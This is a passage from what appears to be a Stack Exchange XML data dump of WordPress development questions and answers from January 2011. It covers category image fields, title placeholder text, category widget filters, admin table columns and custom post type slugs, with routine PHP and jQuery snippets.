href=&quot;media-upload.php?is_term=true&amp;amp;amp;type=image&amp;amp;amp;TB_iframe=1&quot;&amp;gt;&amp;lt;?php _e('Change image'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                   &amp;lt;a class=&quot;deletion&quot; id=&quot;taxonomy-image-remove&quot; href=&quot;#remove-image&quot;&amp;gt;Remove image&amp;lt;/a&amp;gt;&#xA;               &amp;lt;?php } else { ?&amp;gt;&#xA;                   &amp;lt;a id=&quot;taxonomy-image-select&quot; class=&quot;thickbox&quot; href=&quot;media-upload.php?is_term=true&amp;amp;amp;type=image&amp;amp;amp;TB_iframe=1&quot;&amp;gt;&amp;lt;?php _e('Choose an image'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;               &amp;lt;?php } ?&amp;gt;&#xA;                   &amp;lt;/div&amp;gt;&#xA;                   &amp;lt;input type=&quot;hidden&quot; name=&quot;category_meta[&amp;lt;?php echo $tag-&amp;gt;term_id ?&amp;gt;][image][id]&quot; value=&quot;&amp;lt;?php if( isset($category_meta[ $tag-&amp;gt;term_id ]['image']['id']) ) echo esc_attr($category_meta[ $tag-&amp;gt;term_id ]['image']['id']); ?&amp;gt;&quot; class=&quot;tax-image-id&quot; /&amp;gt;&#xA;                   &amp;lt;input type=&quot;hidden&quot; name=&quot;category_meta[&amp;lt;?php echo $tag-&amp;gt;term_id ?&amp;gt;][image][thumb]&quot; value=&quot;&amp;lt;?php if( isset($category_meta[ $tag-&amp;gt;term_id ]['image']['thumb']) ) echo esc_attr($category_meta[ $tag-&amp;gt;term_id ]['image']['thumb']); ?&amp;gt;&quot; class=&quot;tax-image-thumb&quot; /&amp;gt;&#xA;               &amp;lt;span class=&quot;description&quot;&amp;gt;&amp;lt;?php _e('A category image.'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&#xA;           &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;   // required for uploading images on non post/page screens&#xA;   function fix_async_upload_image() {&#xA;       if(isset($_REQUEST['attachment_id'])) {&#xA;           $GLOBALS['post'] = get_post($_REQUEST['attachment_id']);&#xA;       }&#xA;   }&#xA;&#xA;   // are we dealing with the taxonomy edit screen?&#xA;   function is_category_context() {&#xA;       if ( isset($_SERVER['HTTP_REFERER']) &amp;amp;&amp;amp; strpos($_SERVER['HTTP_REFERER'],'is_term') !== false ) {&#xA;           return true;&#xA;       } elseif ( isset($_REQUEST['_wp_http_referer']) &amp;amp;&amp;amp; strpos($_REQUEST['_wp_http_referer'],'is_term') !== false ) {&#xA;           return true;&#xA;       } elseif ( isset($_REQUEST['is_term']) &amp;amp;&amp;amp; $_REQUEST['is_term'] !== false ) {&#xA;           return true;&#xA;       }&#xA;       return false;&#xA;   }&#xA;&#xA;   // replace Insert Into Post text with something more appropriate&#xA;   function category_image_replace_text_in_thickbox($translated_text, $source_text, $domain) {&#xA;       if ( is_category_context() ) {&#xA;           if ('Insert into Post' == $source_text) {&#xA;               return __('Use this image', MB_DOM );&#xA;           }&#xA;       }&#xA;       return $translated_text;&#xA;   }&#xA;&#xA;   // output a script that sets variables on the window object so that they can be accessed elsewhere&#xA;   function category_image_send_to_editor( $html, $id, $attachment ) {&#xA;       // context check might not be necessary, and, might not work in all cases&#xA;       if ( is_category_context() ) {&#xA;           $item = get_post($id);&#xA;           $src = wp_get_attachment_image_src($id,'thumbnail',true); // 0 = url, 1 = width, 2 = height, 3 = icon(bool)&#xA;           ?&amp;gt;&#xA;           &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;               // send image variables back to opener&#xA;               var win = window.dialogArguments || opener || parent || top;&#xA;               win.TI.id = &amp;lt;?php echo $id ?&amp;gt;;&#xA;               win.TI.thumb = '&amp;lt;?php echo $src[0]; ?&amp;gt;';&#xA;           &amp;lt;/script&amp;gt;&#xA;           &amp;lt;?php&#xA;       }&#xA;       return $html;&#xA;   }&#xA;&#xA;   // write out the javascript that handles what happens when a user clicks to use an image&#xA;   function category_image_send_script() { ?&amp;gt;&#xA;       &amp;lt;script&amp;gt;&#xA;           self.TI = {};&#xA;           var tb_position;&#xA;&#xA;           function send_to_editor(h) {&#xA;               // ignore content returned from media uploader and use variables passed to window instead&#xA;               jQuery('.tax-image-id').val( self.TI.id );&#xA;               jQuery('.tax-image-thumb').val( self.TI.thumb );&#xA;&#xA;               // display image&#xA;               jQuery('#taxonomy-image-holder img, #taxonomy-image-remove').remove();&#xA;               jQuery('#taxonomy-image-holder')&#xA;                   .prepend('&amp;lt;img style=&quot;max-width:100%;display:block;&quot; src=&quot;'+ self.TI.thumb +'&quot; alt=&quot;&quot; /&amp;gt;')&#xA;                   .append('&amp;lt;a class=&quot;deletion&quot; id=&quot;taxonomy-image-remove&quot; href=&quot;#remove-image&quot;&amp;gt;Remove image&amp;lt;/a&amp;gt;');&#xA;&#xA;               jQuery('#taxonomy-image-select').html('Change image');&#xA;&#xA;               // close thickbox&#xA;               tb_remove();&#xA;           }&#xA;&#xA;           (function($){&#xA;               $(document).ready(function() {&#xA;&#xA;                   tb_position = function() {&#xA;                       var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 720 &amp;lt; width ) ? 720 : width;&#xA;&#xA;                       if ( tbWindow.size() ) {&#xA;                           tbWindow.width( W - 50 ).height( H - 45 );&#xA;                           $('#TB_iframeContent').width( W - 50 ).height( H - 75 );&#xA;                           tbWindow.css({'margin-left': '-' + parseInt((( W - 50 ) / 2),10) + 'px'});&#xA;                           if ( typeof document.body.style.maxWidth != 'undefined' )&#xA;                               tbWindow.css({'top':'20px','margin-top':'0'});&#xA;                       };&#xA;&#xA;                       return $('a.thickbox').each( function() {&#xA;                           var href = $(this).attr('href');&#xA;                           if ( ! href ) return;&#xA;                           href = href.replace(/&amp;amp;width=[0-9]+/g, '');&#xA;                           href = href.replace(/&amp;amp;height=[0-9]+/g, '');&#xA;                           $(this).attr( 'href', href + '&amp;amp;width=' + ( W - 80 ) + '&amp;amp;height=' + ( H - 85 ) );&#xA;                       });&#xA;                   };&#xA;                   $(window).resize(function(){ tb_position(); });&#xA;&#xA;                   $('#taxonomy-image-select').click(function(event){&#xA;                       tb_show(&quot;Choose an image:&quot;, $(this).attr(&quot;href&quot;), false);&#xA;                       return false;&#xA;                   });&#xA;                   $('#taxonomy-image-remove').live('click',function(event){&#xA;                       $('#taxonomy-image-select').html('Choose an image');&#xA;                       $('#taxonomy-image-holder img').remove();&#xA;                       $('input[class^=&quot;tax-image&quot;]').val(&quot;&quot;);&#xA;                       $(this).remove();&#xA;                       return false;&#xA;                   });&#xA;               });&#xA;           })(jQuery);&#xA;       &amp;lt;/script&amp;gt;&#xA;       &amp;lt;?php&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Accessing the information&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;my_function&lt;/code&gt; bit taken from your own answer you would then access the metadata like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_function(){&#xA;    $args=array(&#xA;    'orderby' =&amp;gt; 'name',&#xA;    'order' =&amp;gt; 'ASC'&#xA;    );&#xA;    $categories=get_categories($args);&#xA;&#xA;    // get our category meta data and exit out if there isn't any&#xA;    $category_meta = get_option('category_meta');&#xA;    if ( !$category_meta )&#xA;        return;&#xA;&#xA;    echo '&amp;lt;ul style=&quot;list-style-type:none;margin:0;padding:0&quot;&amp;gt;';&#xA;    foreach($categories as $category) {&#xA;        // skip unticked categories &amp;amp; categories with no meta data&#xA;        if ( !isset( $category_meta[ $category-&amp;gt;term_id ] ) || ( isset( $category_meta[ $category-&amp;gt;term_id ] ) &amp;amp;&amp;amp; !$category_meta[ $category-&amp;gt;term_id ]['show_on_home'] ) )&#xA;            continue;&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a style=&quot;display:block;margin-top:20px;&quot; href=&quot;' . get_category_link( $category-&amp;gt;term_id ) . '&quot; title=&quot;' . sprintf( __( &quot;View all posts in %s&quot; ), $category-&amp;gt;name ) . '&quot; ' . '&amp;gt;' . $category_meta[ $category-&amp;gt;term_id ]['title'].'&amp;lt;/a&amp;gt;';&#xA;        if ( &quot;&quot; != $category_meta[ $category-&amp;gt;term_id ]['image']['id'] )&#xA;            echo wp_get_attachment_image( $category_meta[ $category-&amp;gt;term_id ]['image']['id'], 'category_thumbnail', false, array( 'alt' =&amp;gt; $category-&amp;gt;name, 'class' =&amp;gt; '' ) );&#xA;        echo $category-&amp;gt;description . '&amp;lt;/li&amp;gt;';&#xA;        } &#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1733" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-01-18T00:01:31.607" LastActivityDate="2011-01-18T00:01:31.607" CommentCount="4" />
  <row Id="6818" PostTypeId="1" AcceptedAnswerId="6820" CreationDate="2011-01-12T18:10:38.110" Score="2" ViewCount="291" Body="&lt;p&gt;I have a custom post type created for a directory that will end up being sorted alphabetically. I will be sorting the posts in alphabetical order by title, so I want to make sure that the Title is entered as last name/first name. Is there a way to change that default help text -- &quot;Enter Title Here&quot; -- in my custom post to something else?&lt;/p&gt;&#xA;" OwnerUserId="2041" LastActivityDate="2011-03-25T02:40:18.310" Title="Change &quot;Enter Title Here&quot; help text on a custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="6819" PostTypeId="2" ParentId="6818" CreationDate="2011-01-12T18:14:17.637" Score="2" ViewCount="" Body="&lt;p&gt;Take a look in &lt;code&gt;wp-admin/edit-form-advanced.php&lt;/code&gt; at line 246&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;label class=&quot;hide-if-no-js&quot; style=&quot;visibility:hidden&quot; id=&quot;title-prompt-text&quot; for=&quot;title&quot;&amp;gt;&amp;lt;?php echo apply_filters( 'enter_title_here', __( 'Enter your new title here!' ), $post ); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-01-12T18:14:17.637" CommentCount="1" />
  <row Id="6820" PostTypeId="2" ParentId="6818" CreationDate="2011-01-12T18:19:31.587" Score="3" ViewCount="" Body="&lt;p&gt;There is no way to customize that string explicitly. But it is passed through translation function and so is easy to filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this (don't forget to change to your post type): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('gettext','custom_enter_title');&#xA;&#xA;function custom_enter_title( $input ) {&#xA;&#xA;    global $post_type;&#xA;&#xA;    if( is_admin() &amp;amp;&amp;amp; 'Enter title here' == $input &amp;amp;&amp;amp; 'your_post_type' == $post_type )&#xA;        return 'Enter Last Name, Followed by First Name';&#xA;&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T18:19:31.587" CommentCount="1" />
  <row Id="6821" PostTypeId="1" AcceptedAnswerId="6826" CreationDate="2011-01-12T18:59:53.537" Score="0" ViewCount="110" Body="&lt;p&gt;My category descriptions are extremely long, so I don't want the descriptions to be used in the title attribute of my category lists. However, WP does this automatically when it outputs the default category widget in the markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add a filter in functions.php that assigns the default value for 'use_desc_for_title' to 0? (The default is 1)?&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-12T19:49:43.523" LastActivityDate="2011-02-11T20:37:08.087" Title="How to add 'use_desc_for_title = 0' to all wp_list_categories calls?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6822" PostTypeId="1" AcceptedAnswerId="9649" CreationDate="2011-01-12T19:01:56.027" Score="1" ViewCount="135" Body="&lt;p&gt;I'm using this plugin (http://wordpress.org/extend/plugins/wp-downloadmanager/) as my download manager. While it's very simplistic and does great for what i need, the statistics to output on the site lack a little. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only useful function really is: Display Most downloaded (of all time). While i do use this, it would be handy to have a Most downloaded this week or this month as new files get lost on the all time ranks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've dug through the code and found this query for the most downloaded function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$files = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;downloads WHERE file_permission != -2 ORDER BY file_hits DESC LIMIT $limit&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it's possible as i haven't a clue about mysql but can we simply add something to that line to query most downloaded files during this week or month?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on the plugin here: &lt;a href=&quot;http://lesterchan.net/wordpress/readme/wp-downloadmanager.html&quot; rel=&quot;nofollow&quot;&gt;http://lesterchan.net/wordpress/readme/wp-downloadmanager.html&lt;/a&gt; (Click on the usage tab) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1778" LastActivityDate="2011-02-17T17:34:30.987" Title="WP-DownloadManager - Query most download per week/month etc" Tags="&lt;plugins&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="6823" PostTypeId="1" AcceptedAnswerId="6824" CreationDate="2011-01-12T19:40:04.640" Score="0" ViewCount="81" Body="&lt;p&gt;I'm successfully using the function below to trim the length of my category descriptions when viewing the manage category screen (thanks Rarst). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I want to remove children of the &quot;uncategorized&quot; category from this listing. Would I simply insert a check in the for loop below to skip over those child items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: With Rarst's tip on using unset(), I've amended the code below with the correct bits to remove specific categories from the manage categories listing...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Clean up description summaries on Category manage edit table&#xA;add_action( 'admin_head-edit-tags.php', 'admin_edit_tags' );&#xA;function admin_edit_tags() &#xA;{&#xA;  add_filter( 'get_terms', 'admin_trim_category_description', 10, 2 );&#xA;}&#xA;function admin_trim_category_description( $terms, $taxonomies ) &#xA;{&#xA;if( 'category' != $taxonomies[0] )return $terms;&#xA;foreach( $terms as $key=&amp;gt;$term )&#xA;{&#xA;$terms[$key]-&amp;gt;description = strip_tags(substr( $term-&amp;gt;description, 0, 75 )).&quot;...&quot;;&#xA;//new bits here&#xA;if($terms[$key]-&amp;gt;term_id == 1){unset($terms[$key]);}&#xA;}&#xA;return $terms;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-13T03:36:55.947" LastActivityDate="2011-01-13T03:36:55.947" Title="How to filter manage categories listing" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6824" PostTypeId="2" ParentId="6823" CreationDate="2011-01-12T19:52:42.307" Score="0" ViewCount="" Body="&lt;p&gt;Yes, &lt;code&gt;$terms&lt;/code&gt; contains all terms that are retrieved from database for display so whatever changes you make will cascade upwards to interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One issue I am not sure about if that will affect pagination of results in this case.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T19:52:42.307" CommentCount="4" />
  <row Id="6825" PostTypeId="2" ParentId="5555" CreationDate="2011-01-12T20:28:34.583" Score="1" ViewCount="" Body="&lt;p&gt;A couple thoughts that might help you or others reading this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, the priority parameter doesn't have an effect unless you have multiple functions that you're attaching to the hook. So, 15 or 1 or 9999 is irrelevant. In case you might be thinking the priority has anything to do with column order, it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can attach the 'theme_column_userfield' function to the manage_users_columns hook with add_action...it works the same either way. ie.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('manage_users_columns', 'theme_column_userfield');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, the code block doesn't include any sort of ordering. Done this way, the column will be added to the right side of the table. If you need to insert the column somewhere you'll need to use a little bit or a lot of array_slice and array_merge depending on how simple/complex/reusable you need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you used this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function add_new_column($column_headers) {&#xA;        // slice off the checkbox column&#xA;        $cb_col = array_slice($column_headers, 0, 1);&#xA;&#xA;        // create the new column (you could add in translation if you want it)&#xA;        $new_col    = array('new_column_name' =&amp;gt; 'New User Column');&#xA;&#xA;        // stick it all back together&#xA;        $column_headers = array_merge($cb_col, $new_col, $column_headers);&#xA;&#xA;        return $column_headers;&#xA;    }&#xA;    add_action('manage_users_columns', 'add_new_column');&#xA;&#xA;    function output_new_column($value, $column_name, $id) {&#xA;        if($column_name == 'new_column_name') {&#xA;            // add some code here to print out whatever value you want in whatever style you're after&#xA;        }&#xA;    }&#xA;    add_action('manage_users_custom_column', 'output_new_column', 1, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...the 'New User Column' would appear right after the checkbox in the Users list, followed by all of the rest of the default columns.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-12T20:28:34.583" />
  <row Id="6826" PostTypeId="2" ParentId="6821" CreationDate="2011-01-12T20:35:20.177" Score="0" ViewCount="" Body="&lt;p&gt;I was finally able to figure this out. Much easier than I thought...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_categories_filter($cat_args){&#xA;    $cat_args['title_li'] = '';&#xA;    $cat_args['exclude_tree'] = 1;&#xA;    $cat_args['exclude'] = 1;&#xA;    $cat_args['use_desc_for_title'] = 0;&#xA;    return $cat_args;&#xA;}&#xA;&#xA;add_filter('widget_categories_args', 'my_categories_filter', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-12T20:35:20.177" CommentCount="1" />
  <row Id="6827" PostTypeId="2" ParentId="6671" CreationDate="2011-01-12T20:36:56.540" Score="1" ViewCount="" Body="&lt;p&gt;I was finally able to figure this one out... Although I have to set the filter directly on the widget_categories_args method, so it does take two filter statements to do it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_categories_filter($cat_args){&#xA;    $cat_args['title_li'] = '';&#xA;    $cat_args['exclude_tree'] = 1;&#xA;    $cat_args['exclude'] = 1;&#xA;    $cat_args['use_desc_for_title'] = 0;&#xA;    return $cat_args;&#xA;}&#xA;&#xA;add_filter('widget_categories_args', 'my_categories_filter', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-12T20:52:23.253" LastActivityDate="2011-01-12T20:52:23.253" CommentCount="1" />
  <row Id="6828" PostTypeId="1" AcceptedAnswerId="6830" CreationDate="2011-01-12T20:50:40.430" Score="0" ViewCount="63" Body="&lt;p&gt;The &quot;manage categories&quot; screen has two interfaces, one when you first click on &quot;Categories&quot; which is used to add a new category and another once you click on an existing category to edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added some custom fields to the Category editor, but I only want them to be present on the edit screen, not the &quot;add&quot; screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However $pagenow in both cases, is the same (edit-tags.php). The only difference I can see is that when editing, the action=edit token appears on the querystring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I simply wrap my &quot;edit_category_form&quot; filter in a test for the existence of that token or is there a better way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'd be fine with leaving the fields on the add screen, however, it appears that the save is ajaxed, and none of my custom fields are being saved in that routine.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-12T20:59:48.920" Title="How to conditionally include a custom field on category editor screen not category &quot;add&quot; screen" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6829" PostTypeId="1" AcceptedAnswerId="6872" CreationDate="2011-01-12T20:59:23.510" Score="0" ViewCount="137" Body="&lt;p&gt;I've added a &quot;Custom Title&quot; field to the Category editor in order to capture a keyword friendly title that can be used separately from the category name. It works great, but it appears as the last input element of the category screen. Ideally, I would like it to sit under the &quot;Name&quot; field (or at the very top). Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using to add my custom input field to the category edit screen...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($pagenow == &quot;edit-tags.php&quot; &amp;amp;&amp;amp; $_REQUEST['action'] == &quot;edit&quot;) &#xA;add_filter('edit_category_form', 'my_category_fields');&#xA;&#xA;function my_category_fields($tag) {&#xA;$tag_extra_fields = get_option(MY_CATEGORY_FIELDS);?&amp;gt;&#xA;&amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;    &amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot; valign=&quot;top&quot;&amp;gt;&amp;lt;label for=&quot;categoryTitle&quot;&amp;gt;Full Category Title&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input name=&quot;categoryTitle&quot; id=&quot;categoryTitle&quot; type=&quot;text&quot; size=&quot;40&quot; aria-required=&quot;false&quot; value=&quot;&amp;lt;?php echo $tag_extra_fields[$tag-&amp;gt;term_id]['cat_title']; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;description&quot;&amp;gt;The title is optional but will be used in place of the name on the category landing page.&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;   &#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-12T22:02:43.707" LastActivityDate="2011-01-13T09:02:21.500" Title="How to alter the order of custom form fields" Tags="&lt;plugin-development&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="6830" PostTypeId="2" ParentId="6828" CreationDate="2011-01-12T20:59:48.920" Score="0" ViewCount="" Body="&lt;p&gt;You can target &lt;code&gt;edit-tags.php&lt;/code&gt; page and additionally check for that &lt;code&gt;edit&lt;/code&gt; action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head-edit-tags.php', 'my_category_edit' );&#xA;&#xA;function my_category_edit() {&#xA;&#xA;    global $action, $taxonomy;&#xA;&#xA;    if( 'edit' != $action || 'category' != $taxonomy )&#xA;        return;&#xA;&#xA;    // code goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-12T20:59:48.920" CommentCount="3" />
  <row Id="6831" PostTypeId="1" AcceptedAnswerId="6871" CreationDate="2011-01-12T21:04:09.907" Score="1" ViewCount="202" Body="&lt;p&gt;I'm running a multi-author wp site and I'm looking for a plugin that adds a &quot;Follow me&quot; button near the author name so the user can follow his favourite author. I need also to display the other users that are are following the author (i.e. &quot;38 people are following Author_name -&gt; click to view users). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is buddypress, but I'm looking for something lighter and stand-alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2119" LastActivityDate="2011-02-12T09:37:08.943" Title="Twitter-like follow system, is there any plugin?" Tags="&lt;plugins&gt;&lt;twitter&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6832" PostTypeId="1" AcceptedAnswerId="6834" CreationDate="2011-01-12T21:31:56.103" Score="0" ViewCount="332" Body="&lt;p&gt;For a custom post type page I'd like to completely remove the slug so that the URL structure mirrors &lt;a href=&quot;http://my-domain.com/CPT-title/&quot; rel=&quot;nofollow&quot;&gt;http://my-domain.com/CPT-title/&lt;/a&gt; or &lt;a href=&quot;http://my-domain.com/CPT-category/CPT-title&quot; rel=&quot;nofollow&quot;&gt;http://my-domain.com/CPT-category/CPT-title&lt;/a&gt; .  If I set the rewrite parameter to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; '', 'with_front' =&amp;gt; false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wordpress freaks out and I get 404 on all pages except for the CPT page.  If I don't define slug at all, then it defaults to the CPT name.  &lt;/p&gt;&#xA;" OwnerUserId="1421" LastActivityDate="2011-03-31T20:44:52.313" Title="How do you remove slug altogether from custom post type?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="6833" PostTypeId="2" ParentId="6811" CreationDate="2011-01-12T21:35:22.700" Score="1" ViewCount="" Body="&lt;p&gt;I'd also recommend checking out &lt;a href=&quot;http://www.wpalchemy.com&quot; rel=&quot;nofollow&quot;&gt;http://www.wpalchemy.com&lt;/a&gt; .  WPAlchemy is a kick ass &quot;class&quot; (near to a plugin) to easily add custom meta boxes to your site.  I use it extensively and have been impressed by the ease of use and commitment of the developer and burgeoning community.&lt;/p&gt;&#xA;" OwnerUserId="1421" LastActivityDate="2011-01-12T21:35:22.700" />
  <row Id="6834" PostTypeId="2" ParentId="6832" CreationDate="2011-01-12T21:53:08.067" Score="2" ViewCount="" Body="&lt;p&gt;You have to set 'slug' to false and not a blank string.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-12T21:53:08.067" />
  <row Id="6835" PostTypeId="2" ParentId="6561" CreationDate="2011-01-12T21:57:37.577" Score="0" ViewCount="" Body="&lt;p&gt;In case anyone else stumbles upon this, the issue had to do with a setting in my provider.  All of the comments above were correct on how to do redirects, but the problem was on the server side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Rackspace cloud sites to host the wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to have ASP or ASPX pages redirect to PHP, you have to enable IIS on the apache server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;they provide instructions here: &lt;a href=&quot;http://cloudsites.rackspacecloud.com/index.php/How_do_I_enable_a_secondary_technology%3F&quot; rel=&quot;nofollow&quot;&gt;http://cloudsites.rackspacecloud.com/index.php/How_do_I_enable_a_secondary_technology%3F&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then have to have a web.config file to do the redirect from ASP to PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jeremy&lt;/p&gt;&#xA;" OwnerUserId="2378" LastActivityDate="2011-01-12T21:57:37.577" CommentCount="1" />
  <row Id="6836" PostTypeId="2" ParentId="6829" CreationDate="2011-01-12T22:19:01.710" Score="0" ViewCount="" Body="&lt;p&gt;There is no php-based solution without hacking core. Crack open the file &lt;code&gt;wp-admin/edt-tag-form.php&lt;/code&gt; and you'll see it. The hook you're using is fired right before the submit button, and the rest of the form is hard-coded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But can probably do this with jQuery. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5284/default-locked-sorting-of-posting-fields/5287#5287&quot;&gt;Read my answer to this similar question for an example&lt;/a&gt;. The example is for the post edit screen, but the concept should be the same--use jQuery's &lt;code&gt;insertBefore()&lt;/code&gt; method to move an element (by ID) before another element (by ID).&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-12T22:19:01.710" CommentCount="2" />
  <row Id="6837" PostTypeId="2" ParentId="6818" CreationDate="2011-01-12T22:20:40.727" Score="1" ViewCount="" Body="&lt;p&gt;The best way to get the title format you want is to remove the title completely and add two custom fields for the name parts with proper labels. When the post is saved, create the title per PHP.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-01-12T22:20:40.727" />
  <row Id="6840" PostTypeId="1" AcceptedAnswerId="6841" CreationDate="2011-01-12T23:31:27.820" Score="0" ViewCount="352" Body="&lt;p&gt;I'm not looking for a sitemap, I'm looking to create an xml file that I can have a flash menu access, but I don't want to generate the XML file each time someone visits a page, I want to have a static XML to refer to for speed. And I'd like to have wordpress update the file whenever new content is posted(not comments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything built into wordpress that would allow me to do this? Any plugins? Again, I don't want a sitemap. I want a specific list of items. Right now I've been using page templates with custom loops, but it takes to long to generate every time.&lt;/p&gt;&#xA;" OwnerUserId="2457" LastActivityDate="2011-01-13T02:22:16.567" Title="Make wordpress generate a custom XML file(not a sitemap) that is updated only when new content is posted?" Tags="&lt;3.0&gt;&lt;plugins&gt;" AnswerCount="3" />
